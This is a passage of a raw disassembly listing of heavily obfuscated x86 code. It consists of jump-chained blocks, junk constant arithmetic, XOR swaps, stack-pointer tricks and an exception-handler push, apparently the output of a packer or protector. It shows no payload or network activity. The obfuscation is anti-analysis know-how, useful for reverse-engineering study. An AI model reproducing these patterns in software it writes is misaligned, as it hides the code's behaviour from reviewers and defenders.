		jmp	loc_5BAEFC
; ---------------------------------------------------------------------------


loc_5B0A8D:				; CODE XREF: sub_5A55E5+188C1j
		sub	ebx, 5AB311B3h
		push	ebp
		push	ecx
		jmp	loc_5B041D
; ---------------------------------------------------------------------------


loc_5B0A9A:				; CODE XREF: sub_5A55E5+11F02j
		add	edi, 16291638h
		jmp	loc_5AD1FB
; ---------------------------------------------------------------------------


loc_5B0AA5:				; CODE XREF: sub_5A55E5+15156j
		mov	ebx, 4
		sub	esp, 4
		jmp	loc_5B4708
; ---------------------------------------------------------------------------


loc_5B0AB5:				; CODE XREF: sub_5A55E5+F534j
		push	edx
		jmp	loc_5BB28F
; ---------------------------------------------------------------------------


loc_5B0ABB:				; CODE XREF: sub_5A55E5+45DDj
		sub	ah, bh
		pop	ebx
		push	eax
		mov	al, 0ECh
		not	al
		or	al, 4Dh
		jmp	loc_5B1125
; ---------------------------------------------------------------------------


loc_5B0ACA:				; CODE XREF: sub_5A55E5+1121Cj
		pop	esp
		push	eax
		mov	eax, 21E84D1Ch
		jmp	loc_5AEB16
; ---------------------------------------------------------------------------


loc_5B0AD6:				; CODE XREF: sub_5A55E5+D031j
		pop	ebx
		xchg	esi, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		jmp	loc_5BA911
; ---------------------------------------------------------------------------


loc_5B0AEE:				; CODE XREF: sub_5A55E5+19686j
		push	ebp
		mov	bp, 4581h
		inc	bp
		or	bp, 5CC6h
		sub	bp, 0DAD2h
		mov	si, bp
		jmp	loc_5AB8EF
; ---------------------------------------------------------------------------


loc_5B0B07:				; CODE XREF: sub_5A55E5+13236j
		push	19A4h
		mov	[esp+1Ch+var_1C], ebx
		jmp	loc_5B008B
; ---------------------------------------------------------------------------


loc_5B0B14:				; CODE XREF: sub_5A55E5+887Ej
		mov	[esp+24h+var_26+2], ecx
		sub	esp, 4
		mov	[esp+28h+var_2A+2], eax
		push	ebx
		mov	ebx, 7F9961CEh
		jmp	loc_5AF89B
; ---------------------------------------------------------------------------


loc_5B0B2B:				; CODE XREF: sub_5A55E5+AD78j
		sub	ebx, 5B1B5E82h
		mov	eax, [esp+4Ah+var_4A]
		jmp	loc_5AF893
; ---------------------------------------------------------------------------


loc_5B0B39:				; CODE XREF: sub_5A55E5+107E8j
		movzx	eax, al
		jmp	loc_5BA184
; ---------------------------------------------------------------------------


loc_5B0B41:				; CODE XREF: sub_5A55E5+9926j
		mov	eax, 3C803949h
		jmp	loc_5ADEA4
; ---------------------------------------------------------------------------


loc_5B0B4B:				; CODE XREF: sub_5A55E5+95BEj
		add	edx, ebp
		pop	ebp
		xor	edx, [esp+34h+var_36+2]
		xor	[esp+34h+var_36+2], edx
		xor	edx, [esp+34h+var_36+2]
		jmp	loc_5AE38A
; ---------------------------------------------------------------------------


loc_5B0B5C:				; CODE XREF: sub_5A55E5+BC7Cj
		sub	esi, ebp
		mov	ebp, [esp+34h+var_36+2]
		add	esp, 4
		jmp	loc_5B6CE3
; ---------------------------------------------------------------------------


loc_5B0B6C:				; CODE XREF: sub_5A55E5+7B00j
		push	esp
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		add	edx, 4
		push	ebp
		jmp	loc_5BE840
; ---------------------------------------------------------------------------


loc_5B0B82:				; DATA XREF: sub_5A55E5+425Bo
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		pop	ecx
		jmp	loc_5B1156
; ---------------------------------------------------------------------------


loc_5B0B8E:				; CODE XREF: sub_5A55E5+E447j
		mov	edi, 7FA2699h
		dec	edi
		sub	edi, 7FA2694h
		add	eax, edi
		jmp	loc_5B3C33
; ---------------------------------------------------------------------------


loc_5B0BA1:				; CODE XREF: sub_5A55E5+117B8j
		push	7688h
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		add	esi, 4
		push	ebx
		jmp	loc_5B0101
; ---------------------------------------------------------------------------


loc_5B0BC5:				; CODE XREF: sub_5A55E5+672Cj
		xchg	esi, [esp+14h+var_14]
		pop	esp
		jmp	loc_5BCA52
; ---------------------------------------------------------------------------


loc_5B0BCE:				; CODE XREF: sub_5A55E5+66BDj
		add	ah, 0FFh
		sub	ah, 0A9h
		mov	cl, ah
		jmp	loc_5BB0C5
; ---------------------------------------------------------------------------


loc_5B0BDB:				; CODE XREF: sub_5A55E5+167F5j
		pop	edi
		sub	esp, 4
		jmp	loc_5BCE7E
; ---------------------------------------------------------------------------


loc_5B0BE7:				; CODE XREF: sub_5A55E5+FEE0j
		mov	esi, 7D2E2165h
		not	esi
		not	esi
		inc	esi
		dec	esi
		jmp	loc_5B4F6F
; ---------------------------------------------------------------------------


loc_5B0BF7:				; CODE XREF: sub_5A55E5+19A32j
		dec	edi
		add	edi, 497606AFh
		push	ebx
		jmp	loc_5B660B
; ---------------------------------------------------------------------------


loc_5B0C04:				; CODE XREF: sub_5A55E5+10711j
		and	eax, 40754CE1h
		jmp	loc_5BA987
; ---------------------------------------------------------------------------


loc_5B0C0E:				; CODE XREF: sub_5A55E5+8856j
		add	ebx, 4
		xor	ebx, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebx
		xor	ebx, [esp+18h+var_18]
		jmp	loc_5AD59B
; ---------------------------------------------------------------------------


loc_5B0C1F:				; CODE XREF: sub_5A55E5+453Ej
		sub	esp, 4
		mov	[esp+3Ch+var_3E+2], ebx
		push	edx
		mov	dh, al
		mov	bl, dh
		pop	edx
		jmp	loc_5B6529
; ---------------------------------------------------------------------------


loc_5B0C33:				; CODE XREF: sub_5A55E5+1344Ej
		add	ebp, edi
		mov	edi, [esp+3Ch+var_3E+2]
		add	esp, 4
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+38h+var_3A+2], ebp
		jmp	loc_5AD15C
; ---------------------------------------------------------------------------


loc_5B0C4F:				; CODE XREF: sub_5A55E5+8EAEj
		sub	edx, edi
		push	ebx
		mov	ebx, 5A32323Bh
		sub	edx, ebx
		pop	ebx
		pop	edi
		jmp	loc_5BEB65
; ---------------------------------------------------------------------------


loc_5B0C60:				; DATA XREF: sub_5A55E5+4213o
		mov	ax, word ptr [esp+10h+var_10]
		push	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_5BD8C6
; ---------------------------------------------------------------------------


loc_5B0C6D:				; CODE XREF: sub_5A55E5+8593j
		push	1F54h
		mov	[esp+2Ch+var_2E+2], ebx
		sub	esp, 4
		mov	[esp+30h+var_32+2], edi
		jmp	loc_5BA2A6
; ---------------------------------------------------------------------------


loc_5B0C80:				; CODE XREF: sub_5A55E5+15BBEj
		push	[esp+30h+var_32+2]
		pop	esi
		add	esp, 4
		add	edx, edi
		push	dword ptr [edx]
		jmp	loc_5A9D5E
; ---------------------------------------------------------------------------


loc_5B0C93:				; CODE XREF: sub_5A55E5+19C39j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+30h+var_32+2]
		pop	esp
		push	ebx
		push	ecx
		push	38527BDBh
		pop	ecx
		mov	ebx, 38527BDFh
		jmp	loc_5BECA3
; ---------------------------------------------------------------------------


loc_5B0CB5:				; CODE XREF: sub_5A55E5+BD4Aj
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp+30h+var_32+2]
		pop	esp
		not	ebp
		push	edx
		mov	edx, 76CC13C2h
		jmp	loc_5B7F6B
; ---------------------------------------------------------------------------


loc_5B0CCE:				; CODE XREF: sub_5A55E5+1847Bj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5BB370
; ---------------------------------------------------------------------------


loc_5B0CE1:				; CODE XREF: sub_5A55E5+52B9j
		xor	ebp, eax
		xor	eax, ebp
		jmp	loc_5B40E3
; ---------------------------------------------------------------------------


loc_5B0CEA:				; CODE XREF: sub_5A55E5+CB0Cj
		pop	ebp
		jmp	loc_5AFA39
; ---------------------------------------------------------------------------


loc_5B0CF0:				; CODE XREF: sub_5A55E5+9F98j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		push	823h
		mov	[esp+24h+var_26+2], edx
		sub	esp, 4
		mov	[esp+28h+var_2A+2], esi
		mov	esi, 70665E40h
		mov	edx, esi
		mov	esi, [esp+28h+var_2A+2]
		add	esp, 4
		xchg	esi, edx
		dec	esi
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		push	ecx
		mov	ecx, 24EF1BDCh
		jmp	loc_5B431C
; ---------------------------------------------------------------------------


loc_5B0D30:				; CODE XREF: sub_5A55E5+BE4Dj
		pop	eax
		add	[esp+24h+var_22+2], edx
		add	[esp+24h+var_22+2], 3AB140AAh
		pop	edx
		push	[esp+20h+var_22+2]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5BB5F2
; ---------------------------------------------------------------------------


loc_5B0D56:				; CODE XREF: sub_5A55E5+4BD0j
		mov	edx, 7A1CDC96h
		sub	eax, edx
		pop	edx
		jmp	loc_5AD6D5
; ---------------------------------------------------------------------------


loc_5B0D63:				; CODE XREF: sub_5A55E5+1671Fj
		sub	eax, 25D57C51h
		add	eax, 0ABD15C90h
		sub	edx, eax
		pop	eax
		sub	edx, eax
		add	edx, 7F351171h
		add	edx, 7BF73E0Dh
		push	36B2h
		jmp	loc_5BC83B
; ---------------------------------------------------------------------------


loc_5B0D88:				; DATA XREF: sub_5A55E5+41F7o
		push	dword ptr fs:[edx]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_5B39CB
; ---------------------------------------------------------------------------


loc_5B0D97:				; CODE XREF: sub_5A55E5+C79Bj
		add	edi, esi
		sub	edi, 4F1B5C36h
		pop	esi
		jmp	loc_5BBB29
; ---------------------------------------------------------------------------


loc_5B0DA5:				; CODE XREF: sub_5A55E5+1447Aj
		sub	esp, 4
		mov	[esp+18h+var_18], ebx
		push	[esp+18h+var_14]
		pop	ebx
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		push	ebx
		jmp	loc_5BE6EA
; ---------------------------------------------------------------------------


loc_5B0DBF:				; CODE XREF: sub_5A55E5+4C47j
		xor	[esp+20h+var_22+2], ebx
		xor	ebx, [esp+20h+var_22+2]
		jmp	loc_5B6D93
; ---------------------------------------------------------------------------


loc_5B0DCA:				; CODE XREF: sub_5A55E5+A0ADj
		pop	esp
		jmp	loc_5AF1FC
; ---------------------------------------------------------------------------


loc_5B0DD0:				; CODE XREF: sub_5A55E5+8E38j
		sub	al, 2
		sub	al, 0A4h
		add	al, 0F6h
		sub	al, bl
		push	edx
		mov	dh, 2Fh
		inc	dh
		xor	dh, 7
		and	dh, 6Bh
		shr	dh, 8
		or	dh, 6Bh
		sub	dh, 75h
		sub	al, dh
		pop	edx
		add	al, 0A4h
		sub	esp, 2
		mov	word ptr [esp+18h+var_18], bx
		push	ecx
		jmp	loc_5B449F
; ---------------------------------------------------------------------------


loc_5B0E01:				; CODE XREF: sub_5A55E5+13F6Dj
		push	5A00h
		mov	[esp+20h+var_22+2], eax
		push	8F87CBBh
		pop	eax
		push	2C3Fh
		mov	[esp+24h+var_26+2], ecx
		mov	ecx, 1F525A40h
		jmp	loc_5B39D0
; ---------------------------------------------------------------------------


loc_5B0E21:				; DATA XREF: sub_5A55E5+4327o
		mov	ax, word ptr [esp+14h+var_14]
		push	3B7h
		mov	[esp+18h+var_18], esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 4
		push	ebp
		mov	ebp, 33EE5BD0h
		jmp	loc_5B9A9C
; ---------------------------------------------------------------------------


loc_5B0E48:				; CODE XREF: sub_5A55E5+A522j
		inc	edx
		jmp	loc_5B5167
; ---------------------------------------------------------------------------


loc_5B0E4E:				; CODE XREF: sub_5A55E5+13F79j
		pop	edx
		inc	ebx
		sub	ebx, 198CFE53h
		mov	ebp, ebx
		pop	ebx
		mov	ebx, ebp
		mov	ebp, [esp+0Eh+var_10+2]
		push	edi
		sub	esp, 4
		push	564Eh
		mov	[esp+1Ah+var_1C+2], esp
		jmp	loc_5B25D8
; ---------------------------------------------------------------------------


loc_5B0E6F:				; CODE XREF: sub_5A55E5+194C0j
		xchg	edi, [esp+1Ah+var_1C+2]
		pop	esp
		pop	[esp+16h+var_18+2]
		mov	esp, [esp+12h+var_14+2]
		mov	[esp+12h+var_14+2], eax
		jmp	loc_5B7097
; ---------------------------------------------------------------------------


loc_5B0E81:				; CODE XREF: sub_5A55E5+E675j
		pop	esp
		push	ecx
		mov	ecx, 49B04611h
		add	ecx, 0FFFFFFFFh
		jmp	loc_5AE7D5
; ---------------------------------------------------------------------------


loc_5B0E93:				; CODE XREF: sub_5A55E5+1972Bj
		mov	[esp+12h+var_14+2], ebp
		push	edx
		push	esi
		mov	esi, 57B94AEAh
		mov	edx, 7F87A7A2h
		jmp	loc_5B62AE
; ---------------------------------------------------------------------------


loc_5B0EA7:				; CODE XREF: sub_5A55E5+CBB5j
		inc	ebx
		jmp	loc_5AB17E
; ---------------------------------------------------------------------------


loc_5B0EAD:				; CODE XREF: sub_5A55E5+17B7Bj
		pop	ebp
		pop	[esp+16h+var_18+2]
		mov	esp, [esp+12h+var_14+2]
		mov	[esp+12h+var_14+2], edi
		push	3C72h
		mov	[esp+16h+var_18+2], ebx
		mov	ebx, 1
		mov	edi, ebx
		pop	ebx
		jmp	loc_5BD266
; ---------------------------------------------------------------------------


loc_5B0ECC:				; CODE XREF: sub_5A55E5+D555j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+12h+var_14+2]
		pop	esp
		xor	eax, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], eax
		xor	eax, [esp+0Eh+var_10+2]
		jmp	loc_5B050C
; ---------------------------------------------------------------------------


loc_5B0EEC:				; CODE XREF: sub_5A55E5+19A54j
		push	0C8Ah
		jmp	loc_5BF093
; ---------------------------------------------------------------------------


loc_5B0EF6:				; CODE XREF: sub_5A55E5+5607j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5BD9B4
; ---------------------------------------------------------------------------


loc_5B0F09:				; CODE XREF: sub_5A55E5+AE20j
		mov	esp, [esp+52h+var_54+2]
		push	[esp+52h+var_54+2]
		mov	eax, [esp+56h+var_58+2]
		add	esp, 4
		push	1D01h
		mov	[esp+56h+var_58+2], edx
		push	esp
		pop	edx
		push	esi
		push	4
		mov	esi, [esp+5Eh+var_60+2]
		jmp	loc_5BCD9E
; ---------------------------------------------------------------------------


loc_5B0F30:				; CODE XREF: sub_5A55E5+12116j
		xchg	ecx, [esp+5Eh+var_60+2]
		jmp	loc_5B91F4
; ---------------------------------------------------------------------------


loc_5B0F38:				; CODE XREF: sub_5A55E5+1638Bj
		pop	edx
		xchg	eax, [esp+5Ah+var_5C+2]
		pop	esp
		mov	[esp+56h+var_58+2], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5AD5F1
; ---------------------------------------------------------------------------


loc_5B0F53:				; DATA XREF: sub_5A55E5+42A7o
		mov	ecx, [esp+14h+var_14]
		push	45F0h
		mov	[esp+18h+var_18], ecx
		push	esp
		pop	ecx
		push	2D86h
		mov	[esp+1Ch+var_1C], edi
		mov	edi, 640B4410h
		jmp	loc_5B11F6
; ---------------------------------------------------------------------------


loc_5B0F72:				; CODE XREF: sub_5A55E5+16154j
		add	ebx, edx
		pop	edx
		push	[esp+18h+var_18]
		jmp	loc_5AFC07
; ---------------------------------------------------------------------------


loc_5B0F7D:				; CODE XREF: sub_5A55E5+14304j
		shr	eax, 12h
		xor	eax, ecx
		push	2F25h
		mov	[esp+20h+var_22+2], eax
		jmp	loc_5B9D69
; ---------------------------------------------------------------------------


loc_5B0F8F:				; CODE XREF: sub_5A55E5+1796Bj
		sub	al, 0FCh
		add	al, 30h
		add	al, 0CCh
		jmp	loc_5B4491
; ---------------------------------------------------------------------------


loc_5B0F9A:				; CODE XREF: sub_5A55E5+193C2j
		pop	ebx
		sub	ecx, 4
		push	ecx
		push	[esp+20h+var_1C]
		jmp	loc_5B5F0A
; ---------------------------------------------------------------------------


loc_5B0FA8:				; CODE XREF: sub_5A55E5+15603j
		push	eax
		jmp	loc_5AFE81
; ---------------------------------------------------------------------------


loc_5B0FAE:				; DATA XREF: sub_5A55E5+42CFo
		lodsd
		sub	eax, 36342900h
		sub	esp, 4
		mov	[esp+18h+var_18], ebx
		push	esi
		mov	esi, 62265CD5h
		dec	esi
		and	esi, 653B4D23h
		and	esi, 42A2755h
		jmp	loc_5BAFD0
; ---------------------------------------------------------------------------


loc_5B0FD2:				; CODE XREF: sub_5A55E5+1634Ej
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B0FD7:				; CODE XREF: sub_5A55E5+DB8Dj
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		movsx	ecx, ax
		push	ebp
		mov	ebp, esp
		jmp	loc_5AC0DE
; ---------------------------------------------------------------------------


loc_5B0FE8:				; CODE XREF: sub_5A55E5+13F49j
		push	esi
		push	[esp+20h+var_1C]
		pop	esi
		pop	[esp+20h+var_22+2]
		pop	esp
		push	esp
		pop	[esp+1Ch+var_1C]
		jmp	loc_5B8797
; ---------------------------------------------------------------------------


loc_5B0FFB:				; CODE XREF: sub_5A55E5+19422j
		push	ebp
		mov	ebp, 62E84302h
		add	ebp, 7B7F7C58h
		dec	ebp
		shl	ebp, 7
		sub	ebp, 59711644h
		dec	ebp
		push	ecx
		mov	ecx, 0B1635868h
		sub	ebp, ecx
		pop	ecx
		mov	eax, ebp
		pop	ebp
		jmp	loc_5AC18D
; ---------------------------------------------------------------------------


loc_5B1023:				; CODE XREF: sub_5A55E5+FBB6j
		pop	eax
		push	2687h
		mov	[esp+18h+var_18], eax
		push	4D430980h
		jmp	loc_5AB23E
; ---------------------------------------------------------------------------


loc_5B1036:				; CODE XREF: sub_5A55E5+158C6j
		push	[esp+1Ch+var_1C]
		pop	edi
		add	esp, 4
		push	esi
		mov	esi, 2
		add	ebx, 6CF3985h
		add	ebx, esi
		sub	ebx, 6CF3985h
		pop	esi
		xor	ebx, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebx
		xor	ebx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	ax, word ptr [esp+18h+var_18]
		jmp	loc_5B116E
; ---------------------------------------------------------------------------


loc_5B106A:				; CODE XREF: sub_5A55E5+F80Bj
		add	ebp, 4
		xchg	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		jmp	loc_5A9C1E
; ---------------------------------------------------------------------------


loc_5B1078:				; CODE XREF: sub_5A55E5+82F8j
		pop	ecx
		sub	esp, 4
		mov	[esp+26h+var_26], edi
		mov	edi, 7FA30F8h
		sub	edi, 233D7A63h
		sub	esp, 4
		mov	[esp+2Ah+var_2A], ecx
		mov	ecx, 68C57888h
		sub	edi, ecx
		jmp	loc_5ABF0E
; ---------------------------------------------------------------------------


loc_5B109F:				; CODE XREF: sub_5A55E5+84B9j
		pop	esi
		and	eax, edi
		push	[esp+1Ch+var_1C]
		pop	edi
		add	esp, 4
		jmp	loc_5B9FF3
; ---------------------------------------------------------------------------


loc_5B10AE:				; DATA XREF: sub_5A55E5+4203o
		mov	cx, word ptr [esp+10h+var_10]
		push	2710h
		mov	[esp+14h+var_14], esi
		jmp	loc_5B9246
; ---------------------------------------------------------------------------


loc_5B10BF:				; CODE XREF: sub_5A55E5+1098Bj
		pop	esp
		mov	[esp+10h+var_10], esi
		jmp	loc_5B80B4
; ---------------------------------------------------------------------------


loc_5B10C8:				; CODE XREF: sub_5A55E5+E9E2j
		pop	esp
		jmp	loc_5BB916
; ---------------------------------------------------------------------------


loc_5B10CE:				; CODE XREF: sub_5A55E5+1370Dj
		shr	esi, 1
		inc	esi
		or	esi, 6A7D723Bh
		add	esi, 0F73CD6D2h
		sub	edx, esi
		pop	esi
		mov	eax, [esp+8+var_8]
		jmp	loc_5BCB10
; ---------------------------------------------------------------------------


loc_5B10E8:				; CODE XREF: sub_5A55E5+1659Dj
		push	edi
		mov	edi, 4D1E0826h
		jmp	loc_5B9B41
; ---------------------------------------------------------------------------


loc_5B10F3:				; CODE XREF: sub_5A55E5+8CD6j
		mov	esi, 789F6BBBh
		jmp	loc_5BE58E
; ---------------------------------------------------------------------------


loc_5B10FD:				; CODE XREF: sub_5A55E5+BC41j
		pop	ecx
		jmp	loc_5B4A70
; ---------------------------------------------------------------------------


loc_5B1103:				; CODE XREF: sub_5A55E5+D69Fj
		or	eax, 61F62406h
		sub	eax, 564F05C0h
		add	eax, 37622FCCh
		mov	ebx, eax
		pop	eax
		jmp	loc_5BD18B
; ---------------------------------------------------------------------------


loc_5B111A:				; CODE XREF: sub_5A55E5+E5EBj
		sub	edx, edi
		pop	edi
		xchg	edx, [esp+14h+var_14]
		jmp	loc_5AF85E
; ---------------------------------------------------------------------------


loc_5B1125:				; CODE XREF: sub_5A55E5+B4E0j
		add	al, 8Ah
		jmp	loc_5AE34E
; ---------------------------------------------------------------------------
off_5B112C	dd offset loc_5F0868	; DATA XREF: sub_5A55E5+4287o
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5BCECF
; ---------------------------------------------------------------------------


loc_5B113F:				; CODE XREF: sub_5A55E5+13B93j
		sub	edi, 71966CBDh
		add	edi, 64A5BBCh
		pop	esi
		push	3DB4h
		jmp	loc_5B8724
; ---------------------------------------------------------------------------


loc_5B1156:				; CODE XREF: sub_5A55E5+B5A4j
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edi
		push	esp
		jmp	loc_5B2107
; ---------------------------------------------------------------------------


loc_5B1162:				; CODE XREF: sub_5A55E5+117A9j
		sub	edx, edi
		pop	edi
		push	edx
		mov	ebp, [esp+20h+var_22+2]
		jmp	loc_5B7AC1
; ---------------------------------------------------------------------------


loc_5B116E:				; CODE XREF: sub_5A55E5+BA80j
		push	46D2h
		jmp	loc_5AA6D5
; ---------------------------------------------------------------------------


loc_5B1178:				; CODE XREF: sub_5A55E5+F7AFj
		or	ah, bl
		pop	ebx
		xor	ah, 8Eh
		add	ah, 88h
		jmp	loc_5B8EA9
; ---------------------------------------------------------------------------


loc_5B1186:				; CODE XREF: sub_5A55E5+1978Ej
		push	754Dh
		jmp	loc_5A9ACB
; ---------------------------------------------------------------------------


loc_5B1190:				; CODE XREF: sub_5A55E5+17086j
		push	edi
		xor	[esp+20h+var_22+2], 25393BD2h
		pop	ebx
		xor	ebx, 25393BD2h
		mov	edi, [esp+1Ch+var_1C]
		add	esp, 4
		push	[esp+18h+var_18]
		pop	eax
		push	eax
		push	esp
		pop	eax
		jmp	loc_5B283C
; ---------------------------------------------------------------------------


loc_5B11B4:				; CODE XREF: sub_5A55E5+17188j
		sub	ecx, 0EE70BAF6h
		add	edx, ecx
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		add	edx, 3943224Fh
		add	edx, 5BB747E1h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp+14h+var_14]
		jmp	loc_5BDAF5
; ---------------------------------------------------------------------------


loc_5B11DF:				; CODE XREF: sub_5A55E5+93DDj
		sub	ebp, esi
		mov	esi, [esp+6+var_8+2]
		add	esp, 4
		pop	ebx
		xor	ebp, [esp+0]
		jmp	loc_5AD38E
; ---------------------------------------------------------------------------


loc_5B11F0:				; CODE XREF: sub_5A55E5+7920j
		push	edx
		jmp	loc_5B4A40
; ---------------------------------------------------------------------------


loc_5B11F6:				; CODE XREF: sub_5A55E5+B988j
		xor	edi, ebx
		jmp	loc_5B7454
; ---------------------------------------------------------------------------


loc_5B11FD:				; CODE XREF: sub_5A55E5+1397Ej
		xor	ebp, esi
		pop	esi
		sub	edi, 682F3365h
		sub	edi, ebp
		add	edi, 682F3365h
		push	[esp+18h+var_18]
		jmp	loc_5B9C9E
; ---------------------------------------------------------------------------


loc_5B1216:				; CODE XREF: sub_5A55E5+19CEAj
		mov	[esp+1Ch+var_1C], ebx
		push	esp
		jmp	loc_5B73BC
; ---------------------------------------------------------------------------


loc_5B121F:				; CODE XREF: sub_5A55E5+9E0Aj
		add	eax, 4
		xchg	eax, [esp+2Ch+var_2E+2]
		pop	esp
		jmp	loc_5B10FD
; ---------------------------------------------------------------------------


loc_5B122B:				; CODE XREF: sub_5A55E5+D845j
		mov	eax, edx
		pop	edx
		add	ebx, eax
		mov	eax, [esp+24h+var_26+2]
		add	esp, 4
		add	ebx, 8F005E64h
		push	ebx
		mov	ebx, 7FE015A3h
		add	esi, ebx
		pop	ebx
		add	esi, ebx
		push	ebp
		mov	ebp, 50E65559h
		inc	ebp
		neg	ebp
		shr	ebp, 2
		or	ebp, 733F1256h
		not	ebp
		xor	ebp, 0FBE090A3h
		jmp	loc_5B0B5C
; ---------------------------------------------------------------------------


loc_5B1266:				; CODE XREF: sub_5A55E5+120D8j
		mov	ecx, 28AA12ABh
		and	edi, ecx
		pop	ecx
		neg	edi
		push	ebx
		mov	ebx, 8CA2B84Bh
		jmp	loc_5AE8DF
; ---------------------------------------------------------------------------


loc_5B127B:				; CODE XREF: sub_5A55E5+18416j
		shr	bl, 8
		push	60EFh
		mov	[esp+28h+var_2A+2], edx
		mov	dl, 79h
		and	dl, 0BBh
		jmp	loc_5B8D8B
; ---------------------------------------------------------------------------


loc_5B1290:				; CODE XREF: sub_5A55E5+7EEEj
		xor	cl, 44h
		shl	cl, 4
		neg	cl
		sub	cl, 0ECh
		sub	cl, 3Fh
		and	dl, cl
		jmp	loc_5A9C7D
; ---------------------------------------------------------------------------


loc_5B12A5:				; CODE XREF: sub_5A55E5+CBF3j
		mov	edi, eax
		mov	eax, [esp+32h+var_32]
		jmp	loc_5AB72F
; ---------------------------------------------------------------------------


loc_5B12AF:				; CODE XREF: sub_5A55E5+1178Fj
		xchg	edi, [esp+32h+var_32]
		pop	esp
		jmp	loc_5BC567
; ---------------------------------------------------------------------------


loc_5B12B8:				; CODE XREF: sub_5A55E5+8DD8j
		add	ebx, 4
		jmp	loc_5AB346
; ---------------------------------------------------------------------------


loc_5B12C3:				; CODE XREF: sub_5A55E5+E243j
		mov	dx, word ptr [esp+18h+var_18]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5BAF6E
; ---------------------------------------------------------------------------


loc_5B12D5:				; CODE XREF: sub_5A55E5+12FBFj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		jmp	loc_5B2641
; ---------------------------------------------------------------------------


loc_5B12E8:				; CODE XREF: sub_5A55E5+10AF2j
		pop	ebx
		xor	edi, 2B3117BBh
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	edi, 19D05585h
		jmp	loc_5B801D
; ---------------------------------------------------------------------------


loc_5B1300:				; CODE XREF: sub_5A55E5+7DD0j
		add	ebx, edx
		pop	edx
		push	eax
		jmp	loc_5B75CB
; ---------------------------------------------------------------------------


loc_5B1309:				; CODE XREF: sub_5A55E5+D466j
		shl	edx, 5
		add	edx, 4DCD6BB7h
		shl	edx, 8
		jmp	loc_5BCF67
; ---------------------------------------------------------------------------


loc_5B131A:				; CODE XREF: sub_5A55E5+8774j
		xor	eax, ecx
		pop	ecx
		jmp	loc_5B847D
; ---------------------------------------------------------------------------


loc_5B1322:				; CODE XREF: sub_5A55E5+1267Aj
		mov	ebp, [esp+4Ah+var_4A]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		jmp	loc_5B0CB5
; ---------------------------------------------------------------------------


loc_5B1334:				; CODE XREF: sub_5A55E5+16D49j
		dec	ebp
		and	ebp, 52A7051Bh
		add	ebp, 3F2E32F2h
		xor	ebp, 0B4E5622h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 2D7132F8h
		add	ebx, edi
		add	ebx, 2D7132F8h
		sub	ebx, 447B6520h
		jmp	loc_5B4A8B
; ---------------------------------------------------------------------------


loc_5B1363:				; CODE XREF: sub_5A55E5+16959j
		neg	edx
		jmp	loc_5B9336
; ---------------------------------------------------------------------------


loc_5B136A:				; CODE XREF: sub_5A55E5+FF07j
		add	edi, 20805947h
		push	3E43h
		mov	[esp+52h+var_54+2], edx
		mov	edx, 3AF75EC6h
		push	ecx
		mov	ecx, 14331376h
		shr	ecx, 7
		inc	ecx
		dec	ecx
		xor	ecx, 3D334C94h
		sub	edx, ecx
		jmp	loc_5AD175
; ---------------------------------------------------------------------------


loc_5B1395:				; CODE XREF: sub_5A55E5+1242Dj
		pop	eax
		add	edi, ebp
		jmp	loc_5ABEB4
; ---------------------------------------------------------------------------


loc_5B139D:				; CODE XREF: sub_5A55E5+F4A1j
		push	esi
		mov	esi, 30583B8Bh
		jmp	loc_5B77A0
; ---------------------------------------------------------------------------


loc_5B13A8:				; CODE XREF: sub_5A55E5+101E5j
		add	esi, ebp
		pop	ebp
		mov	edx, [esp+52h+var_54+2]
		jmp	loc_5B5706
; ---------------------------------------------------------------------------


loc_5B13B3:				; CODE XREF: sub_5A55E5+146CFj
		add	eax, ecx
		pop	ecx
		jmp	loc_5AA29C
; ---------------------------------------------------------------------------


loc_5B13BB:				; CODE XREF: sub_5A55E5+BF9Ej
		mov	ah, ch
		mov	bh, ah
		pop	eax
		pop	ecx
		pop	eax
		push	[esp+42h+var_42]
		pop	ecx
		add	esp, 4
		jmp	loc_5BED78
; ---------------------------------------------------------------------------


loc_5B13D1:				; CODE XREF: sub_5A55E5+7772j
		add	esp, 4
		push	15EFh
		mov	[esp+20h+var_22+2], esi
